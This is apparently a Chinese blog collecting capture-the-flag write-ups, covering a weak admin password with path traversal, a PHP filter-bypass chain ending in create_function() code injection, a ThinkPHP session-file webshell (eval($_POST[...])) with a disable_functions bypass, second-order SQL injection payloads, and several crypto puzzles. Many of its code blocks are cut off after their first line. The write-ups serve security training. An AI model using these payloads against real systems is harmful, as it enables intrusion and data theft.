[GXYCTF2019]StrongestMind

我一开始想过会很难,但是没想到真是写一千次,直接脚本运行!
from requests import * |

我一开始想过会很难,但是没想到真是写一千次,直接脚本运行!
from requests import * |

给我整懵了,我差点以为我点到了其它网站了。
看了眼提示,弱密码五位
在界面四处找了找,发现没有登陆界面,所以扫文件
发现admin.php
所以访问

弱密码,可以慢慢试,也可以bp
但是文件名叫admin诶
尝试,最后发现是
admin/12345
登录成功
之后在界面里逛逛,发现了一个可以上传文件的地方
在设计->主题->导入主题
但是

所以,我们要找地方,创建文件
所以就是要找可以创建或者上传文件的地方对吧
按照这个思路,我们可以找到
设计->组件->素材库

随便上传一个txt上去
之后进行编辑

现在的界面的话要更改存储路径来创建一个新文件
根据上文的文件,猜测
../../../../../system/tmp/tfeh |

也就是说,我们现在有这个文件了
所以我们开始猜测怎么爆flag出来
根据上面的,我们猜测这个flag应该和主题有关
所以我们去主题里面看看
随便选择一个主题

在这一行里面我们都能看到一个

那就很简单了,php源码搞一手
我直接cat /flag了

之后返回主题,或者在右上角的可视化编辑里面看到页面

我是放在友链里,在其它板块也是可以的
查看源代码
发现

base32解码,得1nD3x.php
访问,得到一长串代码,分开来一个个读(因为很像一关关闯关)
if($_SERVER) { |
啊,基本上全部ban掉了啊
怎么办…
在这里我们可以将要上传的东西进行url编码,因为$_SERVER[‘QUERY_STRING’]不会解码url
if (!preg_match('/http|https/i', $_GET['file'])) { |
之后就是要上传debu,满足debu的值为**/^aqua_is_cute$/,但是不能强等于aqua_is_cute**所以我们可以采用%0a换行符进行绕过,同时url绕过黑名单,所以payload如下
deb%75=aq%75a_is_c%75te%0a//%75=u |
之后
if($_REQUEST) { |
$_REQUEST也就是说我们可以传get和post,同时,post优先级高于get,所以可以在个体传入之后用post覆盖
该阶段payload如下:

if (file_get_contents($file) !== 'debu_debu_aqua') |
也就是说要能读取到debu_debu_aqua
file=data://text/plain.deb%75_deb%75_aq%75a |
所以用data伪协议写进去就好
payload:

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ |
强比较,可以用数组绕过
sh%61na[]=1&p%61sswd[]=2 |
if(preg_match('/^[a-z0-9]*$/isD', $code) || |
这里存在**create_function()注入,而create_function()**存在两个参数$args和$code。
所以这里我们保证code传入create_function
之后是arg参数
可以使用get_defined_vars()输出所有变量,payload:
fl%61g[c%6de]=create_function&fl%61g[%61rg]=}var_dump(get_defined_vars());// |
所以总payload为:
?deb%75=aq%75a_is_c%75te%0a |
发现


重点在最后一句话
[“ffffffff11111114ggggg”]=> string(89) “Baka, do you think it’s so easy to get my flag? I hid the real flag in rea1fl4g.php 23333”
也就是说,flag在rea1fl4g.php
访问一下

尝试一下伪协议读取源码放在arg中进行读取
因为之前过滤太多了,这里直接取反
php://filter/read=convert.base64-encode/resource=rea1fl4g.php |
payload:
fl%61g[%61rg]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));// |

base64解码得flag

一开始看到我还以为是二次注入呢
但是尝试之后发现不是
所以看看wp
发现是thinkphp框架
所以先看看是哪个版本

session可控,修改session,长度为32位,session后缀改为.php(加上.php后为32位)
然后再search搜索的内容会直接保存在/runtime/session/目录下
所以我们注册账号,并在登陆时将session改为32位的php文件

登录之后将在搜索中搜索
<?php eval($_POST[why]);?> |
一句话木马上传完毕,这个木马会保存在session文件中
路径为
runtime/session/sess_1234567812345678123456781234.php |
蚁剑连接
成功之后我们发现无法读取flag,这里要绕过disable_functions
上传exp
<?php |

之后访问1.php

发现源码
<?php |
很快发现文件包含
同时我们发现这里有一个文件包含,上面的代码并没有任何限制,可以利用可控变量action来访问flag


题目告诉了我二次注入,我就先登录进去看看
随便注册

在这一块,输入 ‘ 会被转义,但是我们发现并没有其他的什么特殊限制,所以可以大胆猜测在注册界面二次注入
所以首先,我们尝试一些恶意注册的名字
1' union select database() # |

很好,所以之后还是继续爆表
1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' # |

猜测在flag中
1' union select group_concat(column_name) from information_schema.columns where table_name='flag'# |

最后爆字段
1' union select flag from flag # |

拿到flag

我们首先访问一下screct页面

要我们说secret,猜测是传参数secret

传1进去是d
传参传长一点试试

发现报错,在其中发现源码泄露

File "/app/app.py", line 35, in secret |
所以,我们可以发现传进去的参数是被使用rc4解密了,所以我们应该将要传进去的内容进行加密
import base64 |
rc4加密脚本如上
最后得到
.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92 |
将其上传为secret参数
得到flag

尊即寂修我劫修如婆愍闍嚤婆莊愍耨羅嚴是喼婆斯吶眾喼修迦慧迦嚩喼斯願嚤摩隸所迦摩吽即塞願修咒莊波斯訶喃壽祗僧若即亦嘇蜜迦須色喼羅囉咒諦若陀喃慧愍夷羅波若劫蜜斯哆咒塞隸蜜波哆咤慧聞亦吽念彌諸嘚嚴諦咒陀叻咤叻諦缽隸祗婆諦嚩阿兜宣囉吽色缽吶諸劫婆咤咤喼愍尊寂色缽嘚闍兜阿婆若叻般壽聞彌即念若降宣空陀壽愍嚤亦喼寂僧迦色莊壽吽哆尊僧喼喃壽嘚兜我空所吶般所即諸吽薩咤諸莊囉隸般咤色空咤亦喃亦色兜哆嘇亦隸空闍修眾哆咒婆菩迦壽薩塞宣嚩缽寂夷摩所修囉菩阿伏嘚宣嚩薩塞菩波吶波菩哆若慧愍蜜訶壽色咒兜摩缽摩諦劫諸陀即壽所波咤聞如訶摩壽宣咤彌即嚩蜜叻劫嘇缽所摩闍壽波壽劫修訶如嚩嘇囉薩色嚤薩壽修闍夷闍是壽僧劫祗蜜嚴嚩我若空伏諦念降若心吽咤隸嘚耨缽伏吽色寂喃喼吽壽夷若心眾祗喃慧嚴即聞空僧須夷嚴叻心願哆波隸塞吶心須嘇摩咤壽嘚吶夷亦心亦喃若咒壽亦壽囑囑
佛曰密码
都想起来哩
平等文明自由友善公正自由诚信富强自由自由平等民主平等自由自由友善敬业平等公正平等富强平等自由平等民主和谐公正自由诚信平等和谐公正公正自由法治平等法治法治法治和谐和谐平等自由和谐自由自由和谐公正自由敬业自由文明和谐平等自由文明和谐平等和谐文明自由和谐自由和谐和谐平等和谐法治公正诚信平等公正诚信民主自由和谐公正民主平等平等平等平等自由和谐和谐和谐平等和谐自由诚信平等和谐自由自由友善敬业平等和谐自由友善敬业平等法治自由法治和谐和谐自由友善公正法治敬业公正友善爱国公正民主法治文明自由民主平等公正自由法治平等文明平等友善自由平等和谐自由友善自由平等文明自由民主自由平等平等敬业自由平等平等诚信富强平等友善敬业公正诚信平等公正友善敬业公正平等平等诚信平等公正自由公正诚信平等法治敬业公正诚信平等法治平等公正友善平等公正诚信自由公正友善敬业法治法治公正公正公正平等公正诚信自由公正和谐公正平等
得到这个
社会主义核心价值观加密计算器 - 在线计算网 (zaixianjisuan.com)
好密码!!!
RLJDQTOVPTQ6O6duws5CD6IB5B52CC57okCaUUC3SO4OSOWG3LynarAVGRZSJRAEYEZ_ooe_doyouknowfence
开始了
但是后面,栅栏密码
栅栏密码_栅栏密码在线加密解密【W型】-ME2在线工具 (metools.info)
两次栅栏,出现了
R5UALCUVJDCGD63RQISZTBOSO54JVBORP5SAT2OEQCWY6CGEO53Z67L_doyouknowCaesar
所以是凯撒!!!
三位的凯撒,接base32的解码,得到flag!!!
达芬奇一直是一个有争议的画家,科学家。。。小明为了研究他,从网上找到了名画蒙娜丽莎,一天深夜,小明突然从蒙娜丽莎背后的天空中看到了一串神秘的数字。顺带告诉小明达芬奇家窗台上有一串数字是关键。小明千里迢迢找到了这串数字,请将这个送分题做出来,亲,包邮哦(答案是一串32位十进制数字) 注意:得到的 flag 请包上 flag{} 提交
达芬奇隐藏在蒙娜丽莎中的数字列:1 233 3 2584 1346269 144 5 196418 21 1597 610 377 10946 89 514229 987 8 55 6765 2178309 121393 317811 46368 4181 1 832040 2 28657 75025 34 13 17711
记录在达芬奇窗台口的神秘数字串:36968853882116725547342176952286
我真的是,我想到了是改变顺序
所以看看哪个是32位
神秘数字串是32位
所以,对吧
我们就是说应该是数字串是按照某种东西排序,然后要让神秘数字串也按照这个排列
对吧
所以仔细看看上面的数字列
从小到大这么一排列
!!!
1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 1597 2584 4181 6765 10946 17711 28657 46368 75025 121393 196418 317811 514229 832040 1346269 2178309 |
斐波那契
所以一切迎刃而解
就是说我们将数字串复原过程中的置换就是我们要将数字串置换的规律
哟西
所以有了思路就写脚本(抄的,在学了…)
a = "0 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 1597 2584 4181 6765 10946 17711 28657 46368 75025 121393 196418 317811 514229 832040 1346269 2178309" |
得到flag
m = xxxxxxxx |
我们可以很快知道这是一个低加密指数广播
但是我之前的脚本处理不了这么多的数据,所以这次重新写了一个
n=[n0,n1,n2,n3,n4,n5,n6,n7,n8,n9,n10,n11,n12,n13,n14,n15,n16,n17,n18,n19] |
重点在于这
我之前的是
n=[n0,n1,n2,n3,n4,n5,n6,n7,n8,n9,n10,n11,n12,n13,n14,n15,n16,n17,n18,n19] |
但是会报错
no invmod for given @a and @n |
所以换了一个思路试试